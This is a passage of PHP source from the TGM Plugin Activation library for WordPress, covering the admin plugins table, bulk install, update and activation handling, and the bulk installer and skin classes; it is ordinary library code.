				$output[] = sprintf( '<p><span style="min-width: 32px; text-align: right; float: right;%1$s">%2$s</span>' . esc_html__( 'Installed version:', 'tgmpa' ) . '</p>', $color, $installed );
			}

			if ( ! empty( $item['minimum_version'] ) ) {
				$output[] = sprintf( '<p><span style="min-width: 32px; text-align: right; float: right;">%1$s</span>' . esc_html__( 'Minimum required version:', 'tgmpa' ) . '</p>', $item['minimum_version'] );
			}

			if ( ! empty( $item['available_version'] ) ) {
				$color = '';
				if ( ! empty( $item['minimum_version'] ) && version_compare( $item['available_version'], $item['minimum_version'], '>=' ) ) {
					$color = ' color: #71C671; font-weight: bold;';
				}

				$output[] = sprintf( '<p><span style="min-width: 32px; text-align: right; float: right;%1$s">%2$s</span>' . esc_html__( 'Available version:', 'tgmpa' ) . '</p>', $color, $item['available_version'] );
			}

			if ( empty( $output ) ) {
				return '&nbsp;'; // Let's not break the table layout.
			} else {
				return implode( "\n", $output );
			}
		}

		/**
		 * Sets default message within the plugins table if no plugins
		 * are left for interaction.
		 *
		 * Hides the menu item to prevent the user from clicking and
		 * getting a permissions error.
		 *
		 * @since 2.2.0
		 */
		public function no_items() {

			printf( wp_kses_post( __( 'No plugins to install, update or activate. <a href="%1$s">Return to the Dashboard</a>', 'tgmpa' ) ), esc_url( self_admin_url() ) );
			echo '<style type="text/css">#adminmenu .wp-submenu li.current { display: none !important; }</style>';

		}

		/**
		 * Output all the column information within the table.
		 *
		 * @return array $columns The column names.
		 * @since 2.2.0
		 *
		 */
		public function get_columns() {

			$columns = array(
				'cb'     => '<input type="checkbox" />',
				'plugin' => esc_html__( 'Plugin', 'tgmpa' ),
				'source' => esc_html__( 'Source', 'tgmpa' ),
				'type'   => esc_html__( 'Type', 'tgmpa' ),
			);

			if ( 'all' === $this->view_context || 'update' === $this->view_context ) {
				$columns['version'] = esc_html__( 'Version', 'tgmpa' );
				$columns['status']  = esc_html__( 'Status', 'tgmpa' );
			}

			return apply_filters( 'tgmpa_table_columns', $columns );

		}

		/**
		 * Get the actions which are relevant for a specific plugin row.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return array      Array with relevant action links.
		 * @since 2.5.0
		 *
		 */
		protected function get_row_actions( $item ) {

			$actions      = array();
			$action_links = array();

			// Display the 'Install' action link if the plugin is not yet available.
			if ( ! $this->tgmpa->is_plugin_installed( $item['slug'] ) ) {

				$actions['install'] = _x( 'Install %2$s', '%2$s = plugin name in screen reader markup', 'tgmpa' );

			} else {
				// Display the 'Update' action link if an update is available and WP complies with plugin minimum.
				if ( false !== $this->tgmpa->does_plugin_have_update( $item['slug'] ) && $this->tgmpa->can_plugin_update( $item['slug'] ) ) {

					$actions['update'] = _x( 'Update %2$s', '%2$s = plugin name in screen reader markup', 'tgmpa' );
				}

				// Display the 'Activate' action link, but only if the plugin meets the minimum version.
				if ( $this->tgmpa->can_plugin_activate( $item['slug'] ) ) {

					$actions['activate'] = _x( 'Activate %2$s', '%2$s = plugin name in screen reader markup', 'tgmpa' );
				}
			}

			// Create the actual links.
			foreach ( $actions as $action => $text ) {
				$nonce_url = wp_nonce_url( add_query_arg( array(
					'plugin'           => urlencode( $item['slug'] ),
					'tgmpa-' . $action => $action . '-plugin',
				), $this->tgmpa->get_tgmpa_url() ), 'tgmpa-' . $action, 'tgmpa-nonce' );

				$action_links[ $action ] = sprintf( '<a href="%1$s">' . esc_html( $text ) . '</a>', esc_url( $nonce_url ), '<span class="screen-reader-text">' . esc_html( $item['sanitized_plugin'] ) . '</span>' );
			}

			$prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : '';

			return apply_filters( "tgmpa_{$prefix}plugin_action_links", array_filter( $action_links ), $item['slug'], $item, $this->view_context );
		}

		/**
		 * Generates content for a single row of the table.
		 *
		 * @param object $item The current item.
		 *
		 * @since 2.5.0
		 *
		 */
		public function single_row( $item ) {

			parent::single_row( $item );

			/**
			 * Fires after each specific row in the TGMPA Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$item['slug']`, refers to the slug
			 * for the plugin.
			 *
			 * @since 2.5.0
			 */
			do_action( "tgmpa_after_plugin_row_{$item['slug']}", $item['slug'], $item, $this->view_context );
		}

		/**
		 * Show the upgrade notice below a plugin row if there is one.
		 *
		 * @param string $slug Plugin slug.
		 * @param array $item The information available in this table row.
		 *
		 * @since 2.5.0
		 *
		 * @see /wp-admin/includes/update.php
		 *
		 */
		public function wp_plugin_update_row( $slug, $item ) {

			if ( empty( $item['upgrade_notice'] ) ) {
				return;
			}

			echo '
				<tr class="plugin-update-tr">
					<td colspan="', absint( $this->get_column_count() ), '" class="plugin-update colspanchange">
						<div class="update-message">', esc_html__( 'Upgrade message from the plugin author:', 'tgmpa' ), ' <strong>', wp_kses_data( $item['upgrade_notice'] ), '</strong>
						</div>
					</td>
				</tr>';
		}

		/**
		 * Extra controls to be displayed between bulk actions and pagination.
		 *
		 * @param string $which 'top' or 'bottom' table navigation
		 *
		 * @since 2.5.0
		 *
		 */
		public function extra_tablenav( $which ) {
			if ( 'bottom' === $which ) {
				$this->tgmpa->show_tgmpa_version();
			}
		}

		/**
		 * Defines the bulk actions for handling registered plugins.
		 *
		 * @return array $actions The bulk actions for the plugin install table.
		 * @since 2.2.0
		 *
		 */
		public function get_bulk_actions() {

			$actions = array();

			if ( 'update' !== $this->view_context && 'activate' !== $this->view_context ) {
				if ( current_user_can( 'install_plugins' ) ) {
					$actions['tgmpa-bulk-install'] = esc_html__( 'Install', 'tgmpa' );
				}
			}

			if ( 'install' !== $this->view_context ) {
				if ( current_user_can( 'update_plugins' ) ) {
					$actions['tgmpa-bulk-update'] = esc_html__( 'Update', 'tgmpa' );
				}
				if ( current_user_can( 'activate_plugins' ) ) {
					$actions['tgmpa-bulk-activate'] = esc_html__( 'Activate', 'tgmpa' );
				}
			}

			return $actions;
		}

		/**
		 * Processes bulk installation and activation actions.
		 *
		 * The bulk installation process looks for the $_POST information and passes that
		 * through if a user has to use WP_Filesystem to enter their credentials.
		 *
		 * @since 2.2.0
		 */
		public function process_bulk_actions() {

			// Bulk installation process.
			if ( 'tgmpa-bulk-install' === $this->current_action() || 'tgmpa-bulk-update' === $this->current_action() ) {

				check_admin_referer( 'bulk-' . $this->_args['plural'] );

				$install_type = 'install';
				if ( 'tgmpa-bulk-update' === $this->current_action() ) {
					$install_type = 'update';
				}

				$plugins_to_install = array();

				if ( ! empty( $_POST['plugin'] ) ) {

					if ( is_array( $_POST['plugin'] ) ) {
						$plugins_to_install = (array) $_POST['plugin'];

					} elseif ( is_string( $_POST['plugin'] ) ) {
						// Received via Filesystem page - un-flatten array (WP bug #19643).
						$plugins_to_install = explode( ',', $_POST['plugin'] );
					}

					// Sanitize the received input.
					$plugins_to_install = array_map( 'urldecode', $plugins_to_install );
					$plugins_to_install = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins_to_install );

					// Validate the received input.
					foreach ( $plugins_to_install as $key => $slug ) {
						// Check if the plugin was registered with TGMPA and remove if not.
						if ( ! isset( $this->tgmpa->plugins[ $slug ] ) ) {
							unset( $plugins_to_install[ $key ] );
							continue;
						}

						// For updates: make sure this is a plugin we *can* update (update available and WP version ok).
						if ( 'update' === $install_type && ( $this->tgmpa->is_plugin_installed( $slug ) && ( false === $this->tgmpa->does_plugin_have_update( $slug ) || ! $this->tgmpa->can_plugin_update( $slug ) ) ) ) {
							unset( $plugins_to_install[ $key ] );
						}
					}
				}

				// No need to proceed further if we have no plugins to handle.
				if ( empty( $plugins_to_install ) ) {
					if ( 'install' === $install_type ) {
						$message = esc_html__( 'No plugins are available to be installed at this time.', 'tgmpa' );
					} else {
						$message = esc_html__( 'No plugins are available to be updated at this time.', 'tgmpa' );
					}

					echo '<div id="message" class="error"><p>', esc_html( $message ), '</p></div>';

					return false;
				}

				// Pass all necessary information if WP_Filesystem is needed.
				$url = wp_nonce_url( $this->tgmpa->get_tgmpa_url(), 'bulk-' . $this->_args['plural'] );

				// Give validated data back to $_POST which is the only place the filesystem looks for extra fields.
				$_POST['plugin'] = implode( ',', $plugins_to_install ); // Work around for WP bug #19643.

				$method = ''; // Leave blank so WP_Filesystem can populate it as necessary.
				$fields = array_keys( $_POST ); // Extra fields to pass to WP_Filesystem.

				if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ) ) ) {
					return true; // Stop the normal page form from displaying, credential request form will be shown.
				}

				// Now we have some credentials, setup WP_Filesystem.
				if ( ! WP_Filesystem( $creds ) ) {
					// Our credentials were no good, ask the user for them again.
					request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields );

					return true;
				}

				/* If we arrive here, we have the filesystem */

				// Store all information in arrays since we are processing a bulk installation.
				$names      = array();
				$sources    = array(); // Needed for installs.
				$file_paths = array(); // Needed for upgrades.
				$to_inject  = array(); // Information to inject into the update_plugins transient.

				// Prepare the data for validated plugins for the install/upgrade.
				foreach ( $plugins_to_install as $slug ) {
					$name   = $this->tgmpa->plugins[ $slug ]['name'];
					$source = $this->tgmpa->get_download_url( $slug );

					if ( ! empty( $name ) && ! empty( $source ) ) {
						$names[] = $name;

						switch ( $install_type ) {

							case 'install':
								$sources[] = $source;
								break;

							case 'update':
								$file_paths[]                 = $this->tgmpa->plugins[ $slug ]['file_path'];
								$to_inject[ $slug ]           = $this->tgmpa->plugins[ $slug ];
								$to_inject[ $slug ]['source'] = $source;
								break;
						}
					}
				}
				unset( $slug, $name, $source );

				// Create a new instance of TGM_Bulk_Installer.
				$installer = new TGM_Bulk_Installer( new TGM_Bulk_Installer_Skin( array(
					'url'          => esc_url_raw( $this->tgmpa->get_tgmpa_url() ),
					'nonce'        => 'bulk-' . $this->_args['plural'],
					'names'        => $names,
					'install_type' => $install_type,
				) ) );

				// Wrap the install process with the appropriate HTML.
				echo '<div class="tgmpa wrap">', '<h2>', esc_html( get_admin_page_title() ), '</h2>';

				// Process the bulk installation submissions.
				add_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 );

				if ( 'tgmpa-bulk-update' === $this->current_action() ) {
					// Inject our info into the update transient.
					$this->tgmpa->inject_update_info( $to_inject );

					$installer->bulk_upgrade( $file_paths );
				} else {
					$installer->bulk_install( $sources );
				}

				remove_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 );

				echo '</div>';

				return true;
			}

			// Bulk activation process.
			if ( 'tgmpa-bulk-activate' === $this->current_action() ) {

				check_admin_referer( 'bulk-' . $this->_args['plural'] );

				// Grab plugin data from $_POST.
				$plugins = array();
				if ( isset( $_POST['plugin'] ) ) {
					$plugins = array_map( 'urldecode', (array) $_POST['plugin'] );
					$plugins = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins );
				}

				$plugins_to_activate = array();
				$plugin_names        = array();

				// Grab the file paths for the selected & inactive plugins from the registration array.
				foreach ( $plugins as $slug ) {
					if ( $this->tgmpa->can_plugin_activate( $slug ) ) {
						$plugins_to_activate[] = $this->tgmpa->plugins[ $slug ]['file_path'];
						$plugin_names[]        = $this->tgmpa->plugins[ $slug ]['name'];
					}
				}
				unset( $slug );

				// Return early if there are no plugins to activate.
				if ( empty( $plugins_to_activate ) ) {
					echo '<div id="message" class="error"><p>', esc_html__( 'No plugins are available to be activated at this time.', 'tgmpa' ), '</p></div>';

					return false;
				}

				// Now we are good to go - let's start activating plugins.
				$activate = activate_plugins( $plugins_to_activate );

				if ( is_wp_error( $activate ) ) {
					echo '<div id="message" class="error"><p>', wp_kses_post( $activate->get_error_message() ), '</p></div>';

				} else {
					$count        = count( $plugin_names ); // Count so we can use _n function.
					$plugin_names = array_map( array( 'TGM_Utils', 'wrap_in_strong' ), $plugin_names );
					$last_plugin  = array_pop( $plugin_names ); // Pop off last name to prep for readability.
					$imploded     = empty( $plugin_names ) ? $last_plugin : ( implode( ', ', $plugin_names ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'tgmpa' ) . ' ' . $last_plugin );

					printf( // WPCS: xss ok.
						'<div id="message" class="updated"><p>%1$s %2$s.</p></div>', esc_html( _n( 'The following plugin was activated successfully:', 'The following plugins were activated successfully:', $count, 'tgmpa' ) ), $imploded );

					// Update recently activated plugins option.
					$recent = (array) get_option( 'recently_activated' );
					foreach ( $plugins_to_activate as $plugin => $time ) {
						if ( isset( $recent[ $plugin ] ) ) {
							unset( $recent[ $plugin ] );
						}
					}
					update_option( 'recently_activated', $recent );

				}

				unset( $_POST ); // Reset the $_POST variable in case user wants to perform one action after another.

				return true;
			}

			return false;
		}

		/**
		 * Prepares all of our information to be outputted into a usable table.
		 *
		 * @since 2.2.0
		 */
		public function prepare_items() {

			$columns               = $this->get_columns(); // Get all necessary column information.
			$hidden                = array(); // No columns to hide, but we must set as an array.
			$sortable              = array(); // No reason to make sortable columns.
			$this->_column_headers = array( $columns, $hidden, $sortable ); // Get all necessary column headers.

			// Process our bulk actions here.
			if ( false !== $this->current_action() ) {
				$this->process_bulk_actions();
			}

			// Store all of our plugin data into $items array so WP_List_Table can use it.
			$this->items = apply_filters( 'tgmpa_table_data_items', $this->_gather_plugin_data() );

		}


		/* *********** DEPRECATED METHODS *********** */

		/**
		 * Retrieve plugin data, given the plugin name.
		 *
		 * @param string $name Name of the plugin, as it was registered.
		 * @param string $data Optional. Array key of plugin data to return. Default is slug.
		 *
		 * @return string|boolean Plugin slug if found, false otherwise.
		 * @since      2.2.0
		 * @deprecated 2.5.0 use {@see TGM_Plugin_Activation::_get_plugin_data_from_name()} instead.
		 * @see        TGM_Plugin_Activation::_get_plugin_data_from_name()
		 *
		 */
		protected function _get_plugin_data_from_name( $name, $data = 'slug' ) {
			_deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'TGM_Plugin_Activation::_get_plugin_data_from_name()' );

			return $this->tgmpa->_get_plugin_data_from_name( $name, $data );
		}

	}
}

/**
 * The WP_Upgrader file isn't always available. If it isn't available,
 * we load it here.
 *
 * We check to make sure no action or activation keys are set so that WordPress
 * does not try to re-include the class when processing upgrades or installs outside
 * of the class.
 *
 * @since 2.2.0
 */
add_action( 'admin_init', 'tgmpa_load_bulk_installer' );
if ( ! function_exists( 'tgmpa_load_bulk_installer' ) ) {
	/**
	 * Load bulk installer
	 */
	function tgmpa_load_bulk_installer() {
		// Get TGMPA class instance.
		$tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

		if ( isset( $_GET['page'] ) && $tgmpa_instance->menu === $_GET['page'] ) {

			if ( ! class_exists( 'Plugin_Upgrader', false ) ) {
				require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
			}

			if ( ! class_exists( 'TGM_Bulk_Installer' ) ) {

				/**
				 * Installer class to handle bulk plugin installations.
				 *
				 * Extends WP_Upgrader and customizes to suit the installation of multiple
				 * plugins.
				 *
				 * @since 2.2.0
				 *
				 * @internal Since 2.5.0 the class is an extension of Plugin_Upgrader rather than WP_Upgrader
				 *
				 * @package TGM-Plugin-Activation
				 * @author  Thomas Griffin
				 * @author  Gary Jones
				 */
				class TGM_Bulk_Installer extends Plugin_Upgrader {

					/**
					 * Holds result of bulk plugin installation.
					 *
					 * @since 2.2.0
					 *
					 * @var string
					 */
					public $result;

					/**
					 * Flag to check if bulk installation is occurring or not.
					 *
					 * @since 2.2.0
					 *
					 * @var boolean
					 */
					public $bulk = false;

					/**
					 * TGMPA instance
					 *
					 * @since 2.5.0
					 *
					 * @var object
					 */
					protected $tgmpa;

					/**
					 * Whether or not the destination directory needs to be cleared ( = on update).
					 *
					 * @since 2.5.0
					 *
					 * @var bool
					 */
					protected $clear_destination = false;

					/**
					 * References parent constructor and sets defaults for class.
					 *
					 * @param \Bulk_Upgrader_Skin|null $skin Installer skin.
					 *
					 * @since 2.2.0
					 *
					 */
					public function __construct( $skin = null ) {
						// Get TGMPA class instance.
						$this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

						parent::__construct( $skin );

						if ( isset( $this->skin->options['install_type'] ) && 'update' === $this->skin->options['install_type'] ) {
							$this->clear_destination = true;
						}

						if ( $this->tgmpa->is_automatic ) {
							$this->activate_strings();
						}

						add_action( 'upgrader_process_complete', array( $this->tgmpa, 'populate_file_path' ) );
					}

					/**
					 * Sets the correct activation strings for the installer skin to use.
					 *
					 * @since 2.2.0
					 */
					public function activate_strings() {

						$this->strings['activation_failed']  = esc_html__( 'Plugin activation failed.', 'tgmpa' );
						$this->strings['activation_success'] = esc_html__( 'Plugin activated successfully.', 'tgmpa' );
					}

					/**
					 * Performs the actual installation of each plugin.
					 *
					 * @param array $options The installation config options.
					 *
					 * @return null|array Return early if error, array of installation data on success.
					 * @since 2.2.0
					 *
					 * @see WP_Upgrader::run()
					 *
					 */
					public function run( $options ) {
						$result = parent::run( $options );

						// Reset the strings in case we changed one during automatic activation.
						if ( $this->tgmpa->is_automatic ) {
							if ( 'update' === $this->skin->options['install_type'] ) {
								$this->upgrade_strings();
							} else {
								$this->install_strings();
							}
						}

						return $result;
					}

					/**
					 * Processes the bulk installation of plugins.
					 *
					 * @param array $plugins The plugin sources needed for installation.
					 * @param array $args Arbitrary passed extra arguments.
					 *
					 * @return string|bool Install confirmation messages on success, false on failure.
					 * @see https://core.trac.wordpress.org/browser/tags/4.2.1/src/wp-admin/includes/class-wp-upgrader.php#L838
					 *
					 * @since 2.2.0
					 *
					 * @internal This is basically a near identical copy of the WP Core Plugin_Upgrader::bulk_upgrade()
					 * method, with minor adjustments to deal with new installs instead of upgrades.
					 * For ease of future synchronizations, the adjustments are clearly commented, but no other
					 * comments are added. Code style has been made to comply.
					 *
					 * @see Plugin_Upgrader::bulk_upgrade()
					 */
					public function bulk_install( $plugins, $args = array() ) {

						// [TGMPA + ] Hook auto-activation in
						add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						$defaults    = array(
							'clear_update_cache' => true,
						);
						$parsed_args = wp_parse_args( $args, $defaults );

						$this->init();
						$this->bulk = true;

						$this->install_strings(); // [TGMPA + ] adjusted

						/* [TGMPA - ] $current = get_site_transient( 'update_plugins' ); */

						/* [TGMPA - ] add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); */

						$this->skin->header();

						// Connect to the Filesystem first.
						$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) );
						if ( ! $res ) {
							$this->skin->footer();

							return false;
						}

						$this->skin->bulk_header();

						// Only start maintenance mode if:
						// - running Multisite and there are one or more plugins specified, OR
						// - a plugin with an update available is currently active.
						// @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
						$maintenance = ( is_multisite() && ! empty( $plugins ) );

						/*
						[TGMPA - ]
						foreach ( $plugins as $plugin )
							$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) );
						*/
						if ( $maintenance ) {
							$this->maintenance_mode( true );
						}

						$results = array();

						$this->update_count   = count( $plugins );
						$this->update_current = 0;
						foreach ( $plugins as $plugin ) {
							$this->update_current ++;

							/*
							[TGMPA - ]
							$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true);

							if ( !isset( $current->response[ $plugin ] ) ) {
								$this->skin->set_result('up_to_date');
								$this->skin->before();
								$this->skin->feedback('up_to_date');
								$this->skin->after();
								$results[$plugin] = true;
								continue;
							}

							// Get the URL to the zip file
							$r = $current->response[ $plugin ];

							$this->skin->plugin_active = is_plugin_active($plugin);
							*/

							$result = $this->run( array(
								'package'           => $plugin, // [TGMPA + ] adjusted
								'destination'       => WP_PLUGIN_DIR,
								'clear_destination' => false, // [TGMPA + ] adjusted
								'clear_working'     => true,
								'is_multi'          => true,
								'hook_extra'        => array(
									'plugin' => $plugin,
								)
							) );

							$results[ $plugin ] = $this->result;

							// Prevent credentials auth screen from displaying multiple times.
							if ( false === $result ) {
								break;
							}
						} //end foreach $plugins

						$this->maintenance_mode( false );

						/**
						 * Fires when the bulk upgrader process is complete.
						 *
						 * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might
						 *                              be a Theme_Upgrader or Core_Upgrade instance.
						 * @param array $data {
						 *     Array of bulk item update data.
						 *
						 * @type string $action Type of action. Default 'update'.
						 * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'.
						 * @type bool $bulk Whether the update process is a bulk update. Default true.
						 * @type array $packages Array of plugin, theme, or core packages to update.
						 * }
						 * @since WP 3.6.0 / TGMPA 2.5.0
						 *
						 */
						do_action( 'upgrader_process_complete', $this, array(
							'action'  => 'install', // [TGMPA + ] adjusted
							'type'    => 'plugin',
							'bulk'    => true,
							'plugins' => $plugins,
						) );

						$this->skin->bulk_footer();

						$this->skin->footer();

						// Cleanup our hooks, in case something else does a upgrade on this connection.
						/* [TGMPA - ] remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); */

						// [TGMPA + ] Remove our auto-activation hook.
						remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						// Force refresh of plugin update information.
						wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

						return $results;
					}

					/**
					 * Handle a bulk upgrade request.
					 *
					 * @param array $plugins The local WP file_path's of the plugins which should be upgraded.
					 * @param array $args Arbitrary passed extra arguments.
					 *
					 * @return string|bool Install confirmation messages on success, false on failure.
					 * @see Plugin_Upgrader::bulk_upgrade()
					 *
					 * @since 2.5.0
					 *
					 */
					public function bulk_upgrade( $plugins, $args = array() ) {

						add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						$result = parent::bulk_upgrade( $plugins, $args );

						remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						return $result;
					}

					/**
					 * Abuse a filter to auto-activate plugins after installation.
					 *
					 * Hooked into the 'upgrader_post_install' filter hook.
					 *
					 * @param bool $bool The value we need to give back (true).
					 *
					 * @return bool
					 * @since 2.5.0
					 *
					 */
					public function auto_activate( $bool ) {

						// Only process the activation of installed plugins if the automatic flag is set to true.
						if ( $this->tgmpa->is_automatic ) {

							// Flush plugins cache so the headers of the newly installed plugins will be read correctly.
							wp_clean_plugins_cache();

							// Get the installed plugin file.
							$plugin_info = $this->plugin_info();

							// Don't try to activate on upgrade of active plugin as WP will do this already.
							if ( ! is_plugin_active( $plugin_info ) ) {
								$activate = activate_plugin( $plugin_info );

								// Adjust the success string based on the activation result.
								$this->strings['process_success'] = $this->strings['process_success'] . "<br />\n";

								if ( is_wp_error( $activate ) ) {
									$this->skin->error( $activate );
									$this->strings['process_success'] .= $this->strings['activation_failed'];

								} else {
									$this->strings['process_success'] .= $this->strings['activation_success'];
								}
							}
						}

						return $bool;
					}
				}
			}

			if ( ! class_exists( 'TGM_Bulk_Installer_Skin' ) ) {

				/**
				 * Installer skin to set strings for the bulk plugin installations..
				 *
				 * Extends Bulk_Upgrader_Skin and customizes to suit the installation of multiple
				 * plugins.
				 *
				 * @since 2.2.0
				 *
				 * @see https://core.trac.wordpress.org/browser/trunk/src/wp-admin/includes/class-wp-upgrader-skins.php
				 *
				 * @package TGM-Plugin-Activation
				 * @author  Thomas Griffin
				 * @author  Gary Jones
				 */
				class TGM_Bulk_Installer_Skin extends Bulk_Upgrader_Skin {

					/**
					 * Holds plugin info for each individual plugin installation.
					 *
					 * @since 2.2.0
					 *
					 * @var array
					 */
					public $plugin_info = array();

					/**
					 * Holds names of plugins that are undergoing bulk installations.
					 *
					 * @since 2.2.0
					 *
					 * @var array
					 */
					public $plugin_names = array();

					/**
					 * Integer to use for iteration through each plugin installation.
					 *
					 * @since 2.2.0
					 *
					 * @var integer
					 */
					public $i = 0;

					/**
					 * TGMPA instance
					 *
					 * @since 2.5.0
					 *
					 * @var object
					 */
					protected $tgmpa;

					/**
					 * Constructor. Parses default args with new ones and extracts them for use.
					 *
					 * @param array $args Arguments to pass for use within the class.
					 *
					 * @since 2.2.0
					 *
					 */
					public function __construct( $args = array() ) {
						// Get TGMPA class instance.
						$this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

						// Parse default and new args.
						$defaults = array(
							'url'          => '',
							'nonce'        => '',
							'names'        => array(),
							'install_type' => 'install',
						);
						$args     = wp_parse_args( $args, $defaults );

						// Set plugin names to $this->plugin_names property.
						$this->plugin_names = $args['names'];

						// Extract the new args.
						parent::__construct( $args );

					}

					/**
					 * Sets install skin strings for each individual plugin.
					 *
					 * Checks to see if the automatic activation flag is set and uses the
					 * the proper strings accordingly.
					 *
					 * @since 2.2.0
					 */
					public function add_strings() {
						if ( 'update' === $this->options['install_type'] ) {
							parent::add_strings();
							$this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Updating Plugin %1$s (%2$d/%3$d)', 'tgmpa' );

						} else {

							$this->upgrader->strings['skin_update_failed_error'] = esc_html__( 'An error occurred while installing %1$s: <strong>%2$s</strong>.', 'tgmpa' );
							$this->upgrader->strings['skin_update_failed']       = esc_html__( 'The installation of %1$s failed.', 'tgmpa' );

							if ( $this->tgmpa->is_automatic ) {
								// Automatic activation strings.
								$this->upgrader->strings['skin_upgrade_start']        = esc_html__( 'The installation and activation process is starting. This process may take a while on some hosts, so please be patient.', 'tgmpa' );
								$this->upgrader->strings['skin_update_successful']    = esc_html__( '%1$s installed and activated successfully.', 'tgmpa' );
								$this->upgrader->strings['skin_upgrade_end']          = esc_html__( 'All installations and activations have been completed.', 'tgmpa' );
								$this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Installing and Activating Plugin %1$s (%2$d/%3$d)', 'tgmpa' );

							} else {
								// Default installation strings.
								$this->upgrader->strings['skin_upgrade_start']        = esc_html__( 'The installation process is starting. This process may take a while on some hosts, so please be patient.', 'tgmpa' );
								$this->upgrader->strings['skin_update_successful']    = esc_html__( '%1$s installed successfully.', 'tgmpa' );
								$this->upgrader->strings['skin_upgrade_end']          = esc_html__( 'All installations have been completed.', 'tgmpa' );
								$this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Installing Plugin %1$s (%2$d/%3$d)', 'tgmpa' );
							}
						}
					}

					/**
					 * Outputs the header strings and necessary JS before each plugin installation.
					 *
					 * @param string $title Unused in this implementation.
					 *
					 * @since 2.2.0
					 *
					 */
					public function before( $title = '' ) {
						if ( empty( $title ) ) {
							$title = esc_html( $this->plugin_names[ $this->i ] );
						}
						parent::before( $title );
					}

					/**
					 * Outputs the footer strings and necessary JS after each plugin installation.
					 *
					 * Checks for any errors and outputs them if they exist, else output
					 * success strings.
					 *
					 * @param string $title Unused in this implementation.
					 *
					 * @since 2.2.0
					 *
					 */
					public function after( $title = '' ) {
						if ( empty( $title ) ) {
							$title = esc_html( $this->plugin_names[ $this->i ] );
						}
						parent::after( $title );

						$this->i ++;
					}

					/**
					 * Outputs links after bulk plugin installation is complete.
					 *
					 * @since 2.2.0
					 */
					public function bulk_footer() {

						// Serve up the string to say installations (and possibly activations) are complete.
						parent::bulk_footer();

						// Flush plugins cache so we can make sure that the installed plugins list is always up to date.
						wp_clean_plugins_cache();

						$this->tgmpa->show_tgmpa_version();

						// Display message based on if all plugins are now active or not.
						$update_actions = array();

						if ( $this->tgmpa->is_tgmpa_complete() ) {
							// All plugins are active, so we display the complete string and hide the menu to protect users.
							echo '<style type="text/css">#adminmenu .wp-submenu li.current { display: none !important; }</style>';
							$update_actions['dashboard'] = sprintf( esc_html( $this->tgmpa->strings['complete'] ), '<a href="' . esc_url( self_admin_url() ) . '">' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . '</a>' );
						} else {
							$update_actions['tgmpa_page'] = '<a href="' . esc_url( $this->tgmpa->get_tgmpa_url() ) . '" target="_parent">' . esc_html( $this->tgmpa->strings['return'] ) . '</a>';
						}

						/**
						 * Filter the list of action links available following bulk plugin installs/updates.
						 *
						 * @param array $update_actions Array of plugin action links.
						 * @param array $plugin_info Array of information for the last-handled plugin.
						 *
						 * @since 2.5.0
						 *
						 */
						$update_actions = apply_filters( 'tgmpa_update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

						if ( ! empty( $update_actions ) ) {
							$this->feedback( implode( ' | ', (array) $update_actions ) );
						}
					}

					/* *********** DEPRECATED METHODS *********** */

					/**
					 * Flush header output buffer.
					 *
					 * @since      2.2.0
					 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead
					 * @see        Bulk_Upgrader_Skin::flush_output()
					 */
					public function before_flush_output() {
						_deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' );
						$this->flush_output();
					}

					/**
					 * Flush footer output buffer and iterate $this->i to make sure the
					 * installation strings reference the correct plugin.
					 *
					 * @since      2.2.0
					 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead
					 * @see        Bulk_Upgrader_Skin::flush_output()
					 */
					public function after_flush_output() {
						_deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' );
						$this->flush_output();
						$this->i ++;
					}
				}
			}
		}

	}
}


if ( ! class_exists( 'TGM_Utils' ) ) {

	/**
	 * Generic utilities for TGMPA.
	 *
	 * All methods are static, poor-dev name-spacing class wrapper.
	 *
	 * @since 2.5.0
	 *
	 * @package TGM-Plugin-Activation
	 * @author  Juliette Reinders Folmer
	 */
	class TGM_Utils {

		/**
		 * Whether the PHP filter extension is enabled.
		 *
		 * @see http://php.net/book.filter
		 *
		 * @since 2.5.0
		 *
		 * @static
		 *
		 * @var bool $has_filters True is the extension is enabled.
		 */
		public static $has_filters;


		/**
		 * Wrap an arbitrary string in <em> tags. Meant to be used in combination with array_map().
		 *
		 * @param string $string Text to be wrapped.
		 *
